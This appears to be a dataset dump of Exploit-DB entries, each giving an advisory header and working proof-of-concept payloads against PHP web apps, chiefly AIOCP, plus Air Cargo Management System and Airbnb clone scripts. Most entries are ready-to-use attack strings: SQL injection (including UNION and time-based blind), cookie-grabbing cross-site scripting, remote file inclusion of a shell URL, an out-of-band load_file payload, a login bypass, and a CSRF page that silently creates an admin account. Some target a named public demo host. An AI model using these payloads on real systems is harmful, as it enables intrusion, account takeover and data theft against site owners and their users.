deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28926
Description: AIOCP 1.3.x - 'cp_edit_user.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
       
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
       
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_edit_user.php?choosed_language=[sql]
Exploit-DB #28917
Description: AIOCP 1.3.x - 'cp_forum_view.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info

All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.

AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=</textarea>'"><script>alert(document.cookie)</script> 
http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=53&forid=</textarea>'"><script>alert(document.cookie)</script>
http://www.example.com/public/code/cp_forum_view.php?fmode=top&topid=53&forid=23&catid=</textarea>'"><script>alert(document.cookie)</script>
Exploit-DB #28925
Description: AIOCP 1.3.x - 'cp_forum_view.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
       
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
       
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
       
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_forum_view.php?choosed_language=[sql]
Exploit-DB #28928
Description: AIOCP 1.3.x - 'cp_links.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
         
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
         
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
         
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_links.php?links_category=[sql]
http://www.example.com/public/code/cp_links.php?choosed_language=[sql]
Exploit-DB #28921
Description: AIOCP 1.3.x - 'cp_links_search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
    
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
    
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_links_search.php?orderdir=</textarea>'"><script>alert(document.cookie)</script>
Exploit-DB #28934
Description: AIOCP 1.3.x - 'cp_links_search.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
               
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
               
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
               
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_links_search.php?orderdir=[sql]
Exploit-DB #28931
Description: AIOCP 1.3.x - 'cp_login.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
            
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
            
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
            
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_login.php?choosed_language=[sql]
Exploit-DB #28924
Description: AIOCP 1.3.x - 'cp_news.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
      
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
      
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
      
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_news.php?choosed_language=[sql]
http://www.example.com/public/code/cp_news.php?news_category=[sql]
Exploit-DB #28927
Description: AIOCP 1.3.x - 'cp_newsletter.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
        
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
        
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
        
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_newsletter.php?nlmsg_nlcatid=[sql]
http://www.example.com/public/code/cp_newsletter.php?choosed_language=[sql]
Exploit-DB #28919
Description: AIOCP 1.3.x - 'cp_show_ec_products.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
  
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
  
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_show_ec_products.php?order_field=</textarea>'"><script>alert(document.cookie)</script>
Exploit-DB #28936
Description: AIOCP 1.3.x - 'cp_show_ec_products.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
                 
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
                 
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_show_ec_products.php?order_field[]=
Exploit-DB #28930
Description: AIOCP 1.3.x - 'cp_show_ec_products.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
           
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
           
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
           
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_show_ec_products.php?product_category_id=[sql] http://www.example.com/public/code/cp_show_ec_products.php?product_category_id=[sql] http://www.example.com/public/code/cp_show_ec_products.php?order_field=[sql]
Exploit-DB #28937
Description: AIOCP 1.3.x - 'cp_show_page_help.php' Full Path Disclosure
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
                  
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
                  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
                  
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_show_page_help.php?hp[]=
Exploit-DB #28920
Description: AIOCP 1.3.x - 'cp_users_online.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
   
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
   
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
   
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_users_online.php?order_field=</textarea>'"><script>alert(document.cookie)</script>
Exploit-DB #28932
Description: AIOCP 1.3.x - 'cp_users_online.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
             
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
             
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
             
AIOCP 1.3.007 and prior versions are vulnerable.

http://www.example.com/public/code/cp_users_online.php?order_field=cpsession_expiry&submitted=1&firstrow=[sql]
Exploit-DB #28922
Description: AIOCP 1.3.x - 'load_page' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-06
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/20931/info
    
All In One Control Panel (AIOCP) is prone to multiple input-validation vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, access or modify sensitive data, execute arbitrary script code in the context of the application, compromise the application and possibly exploit latent vulnerabilities in the underlying system; other attacks are also possible.
    
AIOCP 1.3.007 and prior versions are vulnerable.

/admin/code/index.php?load_page=http%3A//google.com ( no login needed for the remote file include )
Exploit-DB #33111
Description: AIOCP 1.4 - 'cp_html2txt.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-06-27
Author: Hadi Kiamarsi

Exploit:
source: https://www.securityfocus.com/bid/35811/info

AIOCP (All In One Control Panel) is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the computer; other attacks are also possible.

AIOCP 1.4.001 is vulnerable; other versions may also be affected.

http://www.example.com/public/code/cp_html2txt.php?page=[SHELL]
Exploit-DB #6854
Description: AIOCP 1.4 - 'poll_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-27
Author: ExSploiters

Exploit:
###########################################
# Aiocp 1.4 Remote SQL Injection vulnerability
#
# Found by : ExSploiters
#
# Contact : exsploiters@gmail.com
#
# Download : http://sourceforge.net/project/showfiles.php?group_id=159137&package_id=178594&release_id=619157
###########################################

PoC :

http://[target]/[path]/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--

L!ve Demo :

http://demo.opensourcecms.com/aiocp/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6--

Greetz :

no one =)

# milw0rm.com [2008-10-27]
Exploit-DB #16136
Description: AIOCP 1.4.001 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-02-08
Author: AutoSec Tools

Exploit:
Source: http://packetstormsecurity.org/files/view/98247/AIOCP-1.4.001-xsrf.txt

<!------------------------------------------------------------------------
# Software................AIOCP (All In One Control Panel) 1.4.001
# Vulnerability...........Cross-site Request Forgery
# Download................http://www.tecnick.com/public/code/cp_dpage.php?aiocp_dp=aiocp
# Release Date............2/2/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# ------------------------------------------------------------------------
# 
# --Description--
# 
# A cross-site request forgery vulnerability in AIOCP (All In One
# Control Panel) 1.4.001 can be exploited to create a new admin.
# 
# 
# --PoC-->
<html>
    <body>
        <img src="http://localhost/aiocp/admin/code/cp_edit_user.php?uemode=&user_agreed=I+AGREE&user_id=2&user_name=new_admin&user_email=x%40x.com&x_user_email=%5E%28%5Ba-zA-Z0-9_%5C.%5C-%5D%2B%29%40%28%28%5C%5B%5B0-9%5D%7B1%2C3%7D%5C.%5B0-9%5D%7B1%2C3%7D%5C.%5B0-9%5D%7B1%2C3%7D%5C.%29%7C%28%28%5Ba-zA-Z0-9%5C-%5D%2B%5C.%29%2B%29%29%28%5Ba-zA-Z%5D%7B2%2C4%7D%7C%5B0-9%5D%7B1%2C3%7D%29%28%5C%5D%3F%29%24&xl_user_email=email&new[CREDENTIAL_REDACTED]_[CREDENTIAL_REDACTED]_repeat=Password1&user_regdate=2002-10-13+08%3A38%3A31&user_ip=127.0.0.1&user_level=10&user_language=eng&user_firstname=&user_lastname=&user_birthdate=0000-00-00&x_user_birthdate=%28%5B0-9%5D%7B4%7D%29-%28%5B0-9%5D%7B1%2C2%7D%29-%28%5B0-9%5D%7B1%2C2%7D%29&xl_user_birthdate=birth+date&user_birthplace=&user_piva=&user_fc=&MAX_FILE_SIZE=500000&user_photo=_blank.png&user_signature=&user_notes=&menu_mode=add&ff_required=user_name&ff_required_labels=name&adm=1" />
    </body>
</html>
Exploit-DB #10057
Description: AIOCP 1.4.001 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-10-07
Author: Hadi Kiamarsi

Exploit:
###########################################

#

# Aiocp 1.4.001 Remote File Inclusion vulnerability

#

# Found by : Hadi Kiamarsi

#

# Contact : hadikiamarsi [at] hotmail.com

#

# Download : http://sourceforge.net/projects/aiocp/files/aiocp/AIOCP%201.4.001/aiocp_1_4_001.zip/download

#

###########################################

PoC :

http://[TARGET]/[PATH]/public/code/cp_html2xhtmlbasic.php?page=[SHELL]

example :

http://[TARGET]/[PATH]/public/code/cp_html2xhtmlbasic.php?page=http://www.example.com/shell.php

local Example :

http://localhost/root/public/code/cp_html2xhtmlbasic.php?page=http://127.0.0.1/shell.php
Exploit-DB #50779
Description: Air Cargo Management System v1.0 - SQLi
Type: webapps
Platform: php
Date: 2022-02-23
Author: nu11secur1ty

Exploit:
# Title: Air Cargo Management System v1.0 - SQLi
# Author: nu11secur1ty
# Date: 02.18.2022
# Vendor: https://www.sourcecodester.com/users/tips23
# Software: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html
# Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/vendors/oretnom23/2022/Air-Cargo-Management-System

# Description:
The `ref_code` parameter from Air Cargo Management System v1.0 appears
to be vulnerable to SQL injection attacks.
The payload '+(select
load_file('\\\\c5idmpdvfkqycmiqwv299ljz1q7jvej5mtdg44t.https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html\\hag'))+'
was submitted in the ref_code parameter.
This payload injects a SQL sub-query that calls MySQL's load_file
function with a UNC file path that references a URL on an external
domain.
The application interacted with that domain, indicating that the
injected SQL query was executed.
WARNING: If this is in some external domain, or some subdomain
redirection, or internal whatever, this will be extremely dangerous!
Status: CRITICAL


[+] Payloads:

---
Parameter: ref_code (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: p=trace&ref_code=258044'+(select
load_file('\\\\c5idmpdvfkqycmiqwv299ljz1q7jvej5mtdg44t.https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html\\hag'))+''
AND (SELECT 9012 FROM (SELECT(SLEEP(3)))xEdD) AND 'JVki'='JVki
---
Exploit-DB #41035
Description: Airbnb Clone Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2017-01-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability:(Profile) Arbitrary Shell Upload
# Google Dork: Airbnb Clone Script
# Date:11.01.2017
# Vendor Homepage: http://www.tibsolutions.com/airbnb-clone/
# Script Name: Airbnb Clone Script
# Script Buy Now: http://www.hotscripts.com/listing/airbnb-clone-tibsolutions/
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
#Exploit :
#Register in site ... and login 
#Goto profil
#Empty file .htaccess and Shell.php...
#
Exploit-DB #46616
Description: Airbnb Clone Script - Multiple SQL Injection
Type: webapps
Platform: php
Date: 2019-03-28
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Homey BNB (Airbnb Clone Script) - Multiple SQL Injection
# Date: 27.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://www.doditsolutions.com/airbnb-clone-script/
# Demo Site: http://sitedemos.in/homeybnb/
# Version: V4
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/rooms/ajax_refresh_subtotal
Vulnerable Parameter: hosting_id (GET)
Payload: checkin=mm/dd/yy&checkout=mm/dd/yy&hosting_id=1' AND SLEEP(5)--
DXVl&number_of_guests=1


----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/admin/edit.php?id=1
Vulnerable Parameter: id (GET)
Payload: id=if(now()=sysdate()%2Csleep(0)%2C0)


----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/admin/cms_getpagetitle.php?catid=1
Vulnerable Parameter: catid (GET)
Payload: catid=-1'%20OR%203*2*1=6%20AND%20000640=000640%20--%20


----- PoC 4: SQLi -----

Request: http://localhost/[PATH]/admin/getcmsdata.php?pt=1
Vulnerable Parameter: pt (GET)
Payload: pt=-1'%20OR%203*2*1=6%20AND%20000929=000929%20--%20

----- PoC 5: SQLi -----

Request: http://localhost/[PATH]/admin/getrecord.php?val=1
Vulnerable Parameter: val (GET)
Payload: val=-1'%20OR%203*2*1=6%20AND%20000886=000886%20--%20

----- PoC 6: SQLi (Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/admin/
Username: '=' 'or'
Password: '=' 'or'
Exploit-DB #41817
Description: Airbnb Crashpadder Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-05
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Airbnb Crashpadder Clone Script - SQL Injection
# Google Dork: N/A
# Date: 05.04.2017
# Vendor Homepage: http://bimedia.info/
# Software: http://bimedia.info/airbnb-premium-clone-script/
# Demo: http://airbnb.clonedemo.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/page/1[SQL]
# http://localhost/[PATH]/view-rental/1/1[SQL]
# # # # #